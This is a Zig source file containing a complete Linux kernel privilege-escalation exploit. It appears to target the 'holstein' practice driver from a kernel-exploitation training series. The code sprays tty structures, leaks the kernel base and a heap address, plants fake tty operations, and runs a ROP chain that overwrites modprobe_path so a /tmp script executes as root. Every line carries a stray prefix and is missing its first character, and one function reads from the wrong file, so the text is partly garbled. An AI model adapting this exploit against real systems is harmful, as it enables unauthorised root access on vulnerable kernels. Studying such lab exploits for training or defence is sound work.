(???) onst std = @import("std");
(PNG) ub const std_options = std.Options{
(???) .log_level = if (@hasDecl(@This(), "DEBUG")) .debug else .info,
(???) .logFn = pawnyableLogger,
(???) ;
(PNG) ub fn pawnyableLogger(
(???) comptime level: std.log.Level,
(???) comptime _: @Type(.enum_literal),
(???) comptime format: []const u8,
(???) args: anytype,
(???) void {
(???) const prefix = "[" ++ comptime blk: {
(???) const level_text = level.asText();
(???) var buf: [level_text.len]u8 = undefined;
(???) break :blk std.ascii.upperString(&buf, level_text);
(???) } ++ "] ";
(???) std.debug.lockStdErr();
(???) defer std.debug.unlockStdErr();
(???) const stderr = std.io.getStdErr().writer();
(???) nosuspend stderr.print(prefix ++ format ++ "\n", args) catch return;
(???)
(???) n bigEndianify(comptime len: usize, buf: []const u8) [len]u8 {
(???) var bufLE: [len]u8 = undefined;
(???) inline for (0..len) |i| bufLE[i] = buf[len-1-i];
(???) return bufLE;
(???)
(???) ar __spinlock: bool = false;
nline fn spin() void {
(???) while (true) if (__spinlock) break;
(???)
(???) xport var user_cs: u64 = 0;
(???) xport var user_ss: u64 = 0;
(???) xport var user_rsp: u64 = 0;
(???) xport var user_rflags: u64 = 0;
(???) n saveState() callconv(.C) void {
(???) asm volatile (
(???) \\.intel_syntax noprefix
(???) \\mov user_cs, cs
(???) \\mov user_ss, ss
(???) \\.att_syntax
(???) );
(???)
(???) n whoami() void {
(???) std.log.info("You won!!", .{});
(???) const args = [_:null]?[*:0]const u8{"/usr/bin/whoami"};
(???) const env = [_:null]?[*:0]u8{};
(???) switch (std.posix.execveZ("/usr/bin/whoami", args[0..args.len], env[0..env.len])) {
(???) else => unreachable,
(???) }
(???) unreachable;
(???)
(???) n modprobePath() void {
(???) std.log.info("You won!!", .{});
(???) const tmpx = std.fs.cwd().createFile(
(???) "/tmp/x", .{
(???) .read = true,
(???) .mode = 0o777,
(???) },
(???) ) catch unreachable;
(???) tmpx.writeAll(
(???) \\#!/bin/sh
(???) \\/usr/bin/whoami &> /tmp/whoisit
(???) \\chmod 777 /tmp/whoisit
(???) ) catch unreachable;
(???) tmpx.close();
(???) const unknown = std.fs.cwd().createFile(
(???) "/tmp/unknown", .{
(???) .read = true,
(???) .mode = 0o777,
(???) },
(???) ) catch unreachable;
(???) unknown.writeAll(&[_]u8{0xff}**4) catch unreachable;
(???) unknown.close();
(???) std.posix.exit(0);
(???)
(???) n corePattern() void {
(???) std.log.info("You won!!", .{});
(???) const tmpx = std.fs.cwd().createFile(
(???) "/tmp/x", .{
(???) .read = true,
(???) .mode = 0o777,
(???) },
(???) ) catch unreachable;
(???) tmpx.writeAll(
(???) \\#!/bin/sh
(???) \\/usr/bin/whoami &> /tmp/whoisit
(???) \\chmod 777 /tmp/whoisit
(???) ) catch unreachable;
(???) tmpx.close();
(???) switch (std.posix.fork() catch unreachable) {
(???) 0 => std.posix.abort(),
(???) else => |pid| _ = std.posix.waitpid(pid, 0),
(???) }
(???) const flag = std.fs.openFileAbsolute("/tmp/whoisit", .{}) catch {
(???) std.log.err("Failed to open /tmp/whoisit", .{});
(???) };
(???) defer flag.close();
(???) std.debug.print("{s}", .{(tmpx.reader().readBoundedBytes(32) catch unreachable).constSlice()});
(???) std.posix.exit(0);
(???)
(???) n catchSigsegv(comptime handler: *const fn () void) void {
(???) const wrapper = struct { fn wrapper(_: i32) callconv(.C) void { handler(); } }.wrapper;
(???) const sigact = std.posix.Sigaction{
(???) .handler = .{ .handler = &wrapper },
(???) .mask = std.posix.empty_sigset,
(???) .flags = 0,
(???) };
(???) std.posix.sigaction(std.posix.SIG.SEGV, &sigact, null);
(???)
(???) / as of 5.10.7
(???) onst tty_struct = extern struct {
(???) const ld_semaphore = extern struct {
(???) const list_head = extern struct {
(???) next: usize = 0xdeadbeefdeadbeef,
(???) prev: usize = 0xcafebabecafebabe,
(???) };
(???) count: u64 = 0,
(???) wait_lock: i32 = 0,
(???) wait_readers: i32 = 0,
(???) read_wait: list_head = .{},
(???) write_wait: list_head = .{},
(???) };
(???) index: i32 = 0,
(???) ldisc_sem: ld_semaphore = .{},
(???) // don't care about the rest
(???) pub fn init(ops_table: usize) tty_struct {
(???) // ops_table must live on the heap
(???) return .{
(???) .driver = ops_table,
(???) .ops = ops_table,
(???) .ldisc_sem = .{
(???) .read_wait = .{ .next = ops_table, .prev = ops_table },
(???) .write_wait = .{ .next = ops_table, .prev = ops_table },
(???) },
(???) };
(???) }
(???) ;
(???) onst tty_operations = extern struct {
(???) close: usize = 0,
(???) shutdown: usize = 0,
(???) cleanup: usize = 0,
(???) write: usize = 0,
(???) put_char: usize = 0,
(???) flush_chars: usize = 0,
(???) write_room: usize = 0,
(???) chars_in_buffer: usize = 0,
(???) ioctl: usize,
(???) ;
(???) n spray(fds: []std.posix.fd_t) !void {
(???) for (0..fds.len) |i| {
(???) fds[i] = try std.posix.open("/dev/ptmx", .{ .ACCMODE = .RDONLY, .NOCTTY = true }, 0o660);
(???) }
(???)
(???) n leakKASLROffset(fd: std.posix.fd_t) !u64 {
(???) const ptmx_fops_addr: u64 = 0xffffffff81c38880;
(???) var buf: [0x400+@offsetOf(tty_struct, "ops")+@sizeOf(@FieldType(tty_struct, "ops"))]u8 = undefined;
(???) _ = try std.posix.read(fd, &buf);
(???) const ret = std.mem.bytesAsValue(u64, buf[buf.len-8..]).*;
(???) return ret - ptmx_fops_addr;
(???)
(???) n leakGBuf(fd: std.posix.fd_t) !u64 {
(???) const offset = comptime blk: {
(???) const ld_semaphore = @FieldType(tty_struct, "ldisc_sem");
(???) break :blk @offsetOf(tty_struct, "ldisc_sem") + @offsetOf(ld_semaphore, "read_wait") + @sizeOf(@typeInfo(@FieldType(ld_semaphore, "read_wait")).@"struct".fields[0].type);
(???) };
(???) var buf: [0x400+offset]u8 = undefined;
(???) _ = try std.posix.read(fd, &buf);
(???) const ret = std.mem.bytesAsValue(u64, buf[buf.len-8..]).*;
(???) return ret - (buf.len-8);
(???)
(???) n posionTTYStruct(fd: std.posix.fd_t, g_buf_addr: u64) !void {
(???) const file = (std.fs.File{ .handle = fd }).writer();
(???) var bw = std.io.bufferedWriter(file);
(???) const writer = bw.writer();
(???) const fake_tty_ops = tty_operations{ .ioctl = PUSH_RDX_MOV_EBP_0x415bffd9_POP_RSP_POP_R13_POP_RBP };
(???) try writer.writeAll(std.mem.asBytes(&fake_tty_ops));
(???) var n_written: usize = @sizeOf(@TypeOf(fake_tty_ops));
(???) n_written += try ropchain(writer);
(???) try writer.writeByteNTimes('A', 0x400 - n_written);
(???) try writer.writeAll(std.mem.asBytes(&tty_struct{ .driver = g_buf_addr, .ops = g_buf_addr })[0..@offsetOf(tty_struct, "ops")+@sizeOf(@FieldType(tty_struct, "ops"))]);
(???) try bw.flush();
(???)
(???) ar PUSH_RDX_MOV_EBP_0x415bffd9_POP_RSP_POP_R13_POP_RBP: u64 = 0xffffffff813a478a; // stack pivot gadget
(???) ar MOV_ADDROF_RAX_RDI: u64 = 0xffffffff8110840a;
(???) ar POP_RAX: u64 = 0xffffffff8113dd3c;
(???) ar POP_RDI_ADD_CL_CL: u64 = 0xffffffff81032f59;
(???) ar KPTI_TRAMPOLINE: u64 = 0xffffffff81800e10+22;
(???) ar MODPROBE_PATH: u64 = 0xffffffff81e38180;
(???) n ropchain(writer: anytype) !usize {
(???) const chain = [_]u64{
(???) 0, // junk
(???) 0, // junk
(???) POP_RDI_ADD_CL_CL,
(???) std.mem.readInt(u64, "/tmp/x\x00\x00", .little),
(???) POP_RAX,
(???) MODPROBE_PATH,
(???) MOV_ADDROF_RAX_RDI,
(???) KPTI_TRAMPOLINE,
(???) 0, // junk
(???) 0, // junk
(???) @intFromPtr(&modprobePath),
(???) user_cs,
(???) user_rflags,
(???) user_rsp,
(???) user_ss,
(???) };
(???) try writer.writeAll(std.mem.asBytes(&chain));
(???) return std.mem.asBytes(&chain).len;
(???)
(???) n adjust_offsets(kaslr_offset: u64) void {
(???) const gadgets = &[_]*u64{
(???) &PUSH_RDX_MOV_EBP_0x415bffd9_POP_RSP_POP_R13_POP_RBP,
(???) &MOV_ADDROF_RAX_RDI,
(???) &POP_RAX,
(???) &POP_RDI_ADD_CL_CL,
(???) &KPTI_TRAMPOLINE,
(???) &MODPROBE_PATH,
(???) };
(???) for (gadgets) |g| {
(???) g.* += kaslr_offset;
(???) }
(???)
(PNG) ub fn main() !void {
(???) catchSigsegv(&modprobePath);
(???) saveState();
(???) var ttys: [100]std.posix.fd_t = undefined;
(???) defer for (ttys) |tty| std.posix.close(tty);
(???) try spray(ttys[0..50]);
(???) const fd = try std.posix.open("/dev/holstein", .{ .ACCMODE = .RDWR }, 0o660);
(???) defer std.posix.close(fd);
(???) try spray(ttys[50..]);
(???) const kaslr_offset = try leakKASLROffset(fd);
(???) std.log.info("Kernel base: 0x{s}", .{std.fmt.bytesToHex(bigEndianify(8, std.mem.asBytes(&(kaslr_offset+0xffffffff81000000))), .lower)});
(???) adjust_offsets(kaslr_offset);
(???) const g_buf = try leakGBuf(fd);
(???) std.log.info("g_buf located at: 0x{s}", .{std.fmt.bytesToHex(bigEndianify(8, std.mem.asBytes(&g_buf)), .lower)});
(???) try posionTTYStruct(fd, g_buf);
(???) const ropchain_addr = g_buf + @sizeOf(tty_operations);
(???) var buf: [10]u8 = undefined;
(???) _ = try std.posix.read(fd, &buf);
(???) for (ttys) |tty| _ = std.os.linux.ioctl(tty, 0xdeadbeef, ropchain_addr);
(???)